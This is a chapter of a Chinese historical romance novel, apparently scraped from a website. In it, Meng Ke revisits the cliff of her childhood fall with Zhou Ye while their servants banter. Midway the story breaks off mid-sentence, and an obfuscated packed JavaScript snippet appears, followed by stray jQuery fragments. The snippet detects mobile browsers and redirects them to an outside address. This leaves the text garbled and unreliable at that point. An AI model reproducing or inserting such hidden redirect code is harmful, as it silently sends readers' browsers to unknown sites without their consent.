灯下,回雪给孟珂梳头。孟珂看着镜中的自己,迟疑了一下,问道:“回雪,你说,心悦一个人是什么样的感觉?”
“不一样吧?”回雪想了想,笑道,“每个人的感觉,兴许都不一样吧。”
孟珂点头:“是啊。”
有人说是砰然而动,有人说如天光乍开。
于她而言,是雪夜对酒之时,转头看着他的一瞬,莫名涌起的一股想要将他拥入怀中的冲动。
是要见那个人的时候,即便一向以美貌自信的人,也要再看一眼镜中的自己,生怕哪里有一丝不妥的些许紧张。
也是看他哪里都只觉得造化之妙,怎能哪里都喜欢的神奇之感。
“小姐?”回雪见她怔怔的,唤了唤她。
孟珂回过神来,打岔道:“可都收拾妥帖了?”
回雪点头应道:“明日随时可以出发。”
孟珂知道回雪向来麻利,说走就走,一夜功夫便已收拾停当,属实是个好帮手。
第二日一早,霍茹蕙出得大牢,上囚车的时候,见孟珂和周冶都站在一旁。她冲二人一笑,目光落定在了孟珂的脸上,带着明显的得意:“妹妹,我的底牌,这回你可看清了?”
“姐姐莫高兴得太早!”孟珂笑道,“你的底牌亮了,我可还没亮呢。”
牢里如今让周冶管得滴水不漏,霍茹蕙不是在牢里做的手脚,要做也来不及。她必定早就求了援。
霍茹蕙坐上囚车,在那里,竟也坐出了一副仿若在舞台上献艺的模样,依然为得了众人注目而自得。
有些人便如藤蔓,看着无法自立,却硬是能找到攀援之路,甚至一步步登高,让人不得不生出些奇异的佩服。
囚车远去,孟珂一行人也出发。
熹园和衙门各预备了一辆马车,但周冶直接上了孟珂的马车,雨歇和回雪自觉上了后一辆马车,去同跟洗墨大眼瞪小眼了。
途径云鬓山,路过当初偶遇的半山亭。
其时,白雪皑皑,天地一片苍茫寂静。而今,春意盎然,从崖边看出去,满山苍翠,一派生机。
两人不由都看向了外面,一时感慨油然而起,转眸互看一眼,都笑了。
周冶笑着调侃起自己道:“这一路可不敢再逞能救美,还要小姐美救英雄。”
孟珂让他说笑了,只道:“那时不过是京里不好动手,那些人才一路跟出来,想找机会抓了我,从我这儿打开个口子,兴许能做点文章。可现如今战场在京中,也就没人来搭理我这个小卒子了。”
“小姐可不是小卒。”周冶却也不多言。
两人都知道,这个案子已成朝中之人的筏子。
孟珂几不可察地长长吸了一口气,想起前夜站在水边的一幕,对自己道,明日之事,待明日再烦,于是闭上了眼养神。
周冶见了,悄声叫车夫慢下来,走稳些。
***
见前车慢了,后车也跟着慢了。回雪疑惑道:“本来就走得迟,还不全力赶路,今日赶回京得多晚了。”
洗墨道:“今日横竖是到不了的,又何必急于一时?姐姐不用担心,我家公子都安排好了,咱们在京郊住一夜,明日再入城。”
回雪和雨歇互看一眼,不知平白耽误这一夜是何故,可此事也由不得她们做主,待要打听,就见洗墨笑着看外面,问她们道:“当日我家公子便是在此处救了你家小姐?”
“救?”雨歇哼了一声,“是你家公子平白跳出来,坏了我们的事!”
“不知者不罪,我家公子本是好意不是?”洗墨陪着笑脸,指着崖边一棵歪脖子松树,喜道,“就是那棵!对不对?”
雨歇瞟了一眼,还真是那棵,惊异地看了洗墨一眼:“你又不在,如何知道是哪棵?”
想起那日周冶披着蓑衣,侍剑那个傻子抱剑立在身后的样子,不由又笑了。
“我是不在,可我家公……”洗墨不好出卖说是公子画上看到的,硬生生转口道,“侍剑,侍剑他告诉我的。”
“他?”雨歇嗤笑道,“他什么时候也这么嘴碎了!”
洗墨意味深长地笑道:“不过是在姑娘你面前张不开嘴罢了!但凡你别那么凶,他就敢张嘴了,不信你试试?”
“我让你胡说!”雨歇抬手便要打,让回雪制止了。
“谢谢回雪姐姐!”洗墨感激地笑道,“可惜涤砚要留守,不能跟咱们一块儿回京。不然,这一路还能更有意思点。”
雨歇作势又要打他:“我看你是不挨顿打是不会老实了,不是调笑我,就是调笑我姐姐!”
“姐姐!回雪姐姐救我!”洗墨抱着头躲着大叫,躲过一劫,喘过气来,看着姐妹二人,一般模样却是两般性格,也是有趣。
如今倒不会混淆了,可一开始不知道有姐妹二人,倒搞了好大一个乌龙。尤其侍剑被搞得懵了许久,一会儿雨歇跟他闹,一会儿回雪对着他若无其事,“你有病吧”的样子,差点没让他抠破脑袋。
而涤砚以为回雪与侍剑有情,连话都不敢与她多说一句。两段大好姻缘,眼看就要被耽误,总算是及时搞清了状况。可偏偏这涤砚是个不吱声,成日只知埋头做事的;碰巧这回雪也是个一心只想着小姐的,倒惹得他在一旁替两人干着急上了。
后车里三人吵吵闹闹之时,孟珂那一闭眼,不自觉竟迷迷糊糊了过去。等她再醒来的时候,发现马车已经停了。
她掀开车帘看出去,当即便愣了——这正是她当日坠崖的地方。
***
周冶站在车下,感觉到背后的视线,回身朝她走来:“你后来,可有再来过此地?”
孟珂摇了摇头,带着一丝凄惶的笑——噩梦中倒是来过无数回了,在此逡巡数年,从不曾真正离去。
从这里跌落之时,明明是清晨。可在她的噩梦中,这里却总是暗夜。
她总是一次次从崖上踩空,猝不及防地跌落,一路奋力去抱崖上的树枝,却总在触手可及的地方错过,有几次明明都抱到了,却还是不支,重又跌落下去。
她总是从崖下一步步往上攀爬,浑身湿透了,哆嗦着,又冷又怕,捡了根树枝,扫开面前的荆棘,赶走草丛中的蛇虫鼠蚁,一步步往前,有时是走,有时是手脚并用地爬,爬上几步,又滑落几步……
每当她抬头望去,头顶的山崖上、树丛上,横七竖八地挂满了尸体,甚至残肢……
不时惊飞的鸟雀,扑腾起阵阵血腥味,那仍带着温热的血,滴滴下落……
地狱,大概也不过如此吧。
“下来看看,”周冶打断了她的思绪,轻声问道,“可好?”
孟珂没动,也没说话。
“别怕!”周冶向她伸出手去,“有我在。”
孟珂朝他笑了笑,是啊,有什么可怕的,没有盗匪了,也没有尸体了。即便有,她也能面对了。她暗暗吸了一口气,将手递向了他。
那温暖厚实的手掌覆在她手上,感受着其间传来温热的力量,她心里涌起一股暖流,破天荒地有一种冲动,想脱掉满身铠甲,卸下所有的力量,就像漂浮在水面一样,将自己交给水,被它满满承托,哪怕只那么一刻。
这奇异的冲动把她自己都惊了,心内笑了笑,提起一口气,下了马车。
手中不再是那磨破手掌的树枝,而是一只带着他往前走的手,她手上不自觉用了些力。虽只那么细微的变化,周冶还是敏锐地抓住了,于是,将她的手握得又紧了些。
孟珂一步步跟着他,往前走了一段,原本有些迟滞的脚步变得干脆利落,径直走到了他前头,拉着他,一直走到崖边,才止了步。
恰此时,一阵清风吹来,轻轻地拂开她如水的秀发。
前方崖边一片不知名的野草映入眼帘,其间间杂的嫩黄色小花,随风摇摆,煞是好看。阳光温煦,山风清新,满目苍翠。
耳边传来轻轻一声:“这里可是你记忆中的样子?”
山风一吹,声音飘远了些,又远又近的样子。
孟珂轻轻摇了摇头。
全然不是她梦中的样子,甚至也不是她记忆中的样子。
她又往前走了几步,走进那半人高的草,抬手摸着它们,仿佛在确认那是真的草木,而非梦境。
当年,那个稚气的她独自面对了那一切,还坚强地活了下来,但她并没有真正走出这里。
黑暗无法被驱散,但只要点一盏灯,黑暗便消散了。
周冶望向崖下:“你知道这地方叫什么?”
孟珂仍痴痴地望着那与记忆中迥然不同的地貌,缓缓摇了摇头。
“这里叫舍身崖。”
孟珂飞快地转头看他:“你怎么知道?不是你顺口胡诌的吧?”
“真的,”周冶走上前去,“这当地山民告诉我的。”
“你怎会到这里来?”孟珂奇怪道。
时过境迁,在有了更新更近的官道之后,这条老路已经没多少人走了,周冶这是特意绕路而来的。
“没事干,四处游山玩水。”周冶这次真的随口胡诌了一句。
他放眼望去,指点着崖下风光,认真道,“下面的景致委实不错,咱们今日只能在此歇脚看看,等下次有时间了,我带你重新走一次。你一定有不同的感受。”
孟珂顺着他的手看去,是啊,景致似乎真的不错。
噩梦中的山崖,原来只存在于噩梦中而已。崖下的地方,大概也不是记忆中的那样。自今日起,再梦到这里,会有这吹面不寒的清风,随风摇曳的野花吧?
想到此,孟珂感激地看着他,明白他是想让自己重新看看这个地方,洗刷掉那些恐惧的、扭曲的旧忆,以新的、明亮的取而代之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999223|193939||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
她想说谢谢,又咽了下去,只缓慢而用力地点了点头,说了个“好”。
***
“咱们也下去走走看看。”后车里,雨歇强拉着回雪,就要下车。
“你们去吧,我可不想再去了。”洗墨自作多情地拒绝道。
说罢,他往后一靠,倒在了没人争抢的软垫上,伸直胳膊腿,舒服地啧了一声,又忍不住抱怨道,“上次陪公子来,可把我累坏了!”
“你们上这儿来干嘛?”雨歇奇怪地回头看他,小声嘀咕了一句,“没事干瞎抽风么!”
“可不!”洗墨却听见了,哼笑一声,换了个舒服的姿势,“公子也不知抽的什么风,非要一步步亲自走一遍这条路。喏,就这片山,这山崖,还有下面那河滩,一步步亲自走!要不是后来下了雨,还非要在这野外夜宿呢……”
说着说着,传来雨歇已经远去的笑声,洗墨这才没趣地住了嘴,“哎”一声,歇着了。
车下,雨歇往崖边两人怒了努嘴,偷笑道:“姐姐你瞧!咱们小姐同周大人这样站在一起,是不是一对壁人!”
回雪却只笑了笑。
雨歇自顾自地继续道,“以前吧,我一点都不想咱们小姐嫁出去。毕竟,去个陌生的府里,连小姐都要谨言慎行,咱们的日子就更别说了。那时候我就想,小姐顶好是嫁给二公子,那咱们这辈子都不必挪窝了。不过,现在看嘛,如果是周大人,好像也不赖。”
大概是山中空气舒爽,让人心旷神怡,连回雪也难得起了玩心,笑道:“你是想小姐嫁呢,还是自己想嫁?”
“姐姐!”雨歇害羞道,“明明说的是小姐的事。”
回雪看向孟珂,笑意中顿时带上了敬服,还有些心疼与怜惜:“咱们小姐,可不想什么成不成亲的事。”
“真的?”雨歇过去倒从未关心过这一点,一时听来竟有些诧异,随着姐姐的目光看过去,对着孟珂的身影奇怪地道,“我怎么不知道!”
回雪笑了:“你连你自己都搞不明白呢。”
雨歇自己也笑了。
回雪点点头:“小姐曾说,人若想找依靠,说到底都是一场豪赌。是赌,当然就有赢的可能,但输的可能更大。”
“这怎么是赌呢?”雨歇不太明白。
回雪道:“因为最后会发现,真正可依靠的,还是只有自己,反而找来了几个一辈子甩不掉的包袱。而这一赌,输掉的却是自己再也回不来的本钱。”
她转头看向雨歇,“为了初时有、随时无的些许慰藉,为了那镜花水月的依靠,那最终总会落空的期待,不如守住自己已经有的,将本钱都放在自己手里,成为自己的依靠和慰藉。”
雨歇不太明白:“连小姐这样聪慧的人,也是赌么?”
“我也这么问过。”回雪笑道,“小姐说,在这件事上,努力比不上运气,聪慧能干也敌不过运气。因为这件事,说到底没得选。父母没得选,子女没得选,夫君……以为有得选,其实最后发现,一样也没得选。”
“那运气好的,天生就有好父母兜底,又有好夫君托付,好子女接手,一生无虞。运气不好的,从父母到夫君、子女,全是讨债的。”
雨歇让姐姐说得心口有些堵堵的:“有这么惨吗?会不会太悲观了些?别人咱们不提,咱们小姐不至于吧?”
“这不是悲观,”回雪看着她,认真地道,“这是现实。”
她不由想起孟珂同她说话时候,脸上那凄凉的笑,“人生在世,行路多难。一个人已经很累了,不成为别人的负累已经很不容易了,又哪里还有力气去承担别人?我,只是个弱女子。”
而听小姐说弱女子三字,再也没那么悲凉。回雪看向孟珂的身影,“别人说弱女子,那是真弱。而小姐她,是再强,也还是弱。”
因而便更加苍凉。
***
崖边两人感觉到身后的目光,突地齐齐回过头来。
雨歇反应快,朝他们挥了挥手,大步走过去,高声问道:“咱们今夜住哪?”
回雪忙拦道:“你个急性子,且听主子们安排。”
周冶笑道:“咱们赶半日的路,今夜就住京郊飞来峰的逍遥观。明日再赶半日的路,轻轻松松进城。”
“飞来峰,逍遥观。”雨歇奇怪地道,“为何去那里,住官驿不是更方便?”
孟珂也还是头一次听说此处,转头看向了周冶。
周冶边想理由边道:“那里离官道本就不远,不耽误时候。且我与那里的观主相熟,吃食、客房都比驿站强上不少,景致也是极好的,必定不虚此行。”
最后故弄玄虚地道,“去了你就知道了。”
日落之时,他们果然赶到了飞来峰下。此山离官道是不算太远,顺着一条堪堪可行马车的土路,绕过几个弯,便赫然落于眼前。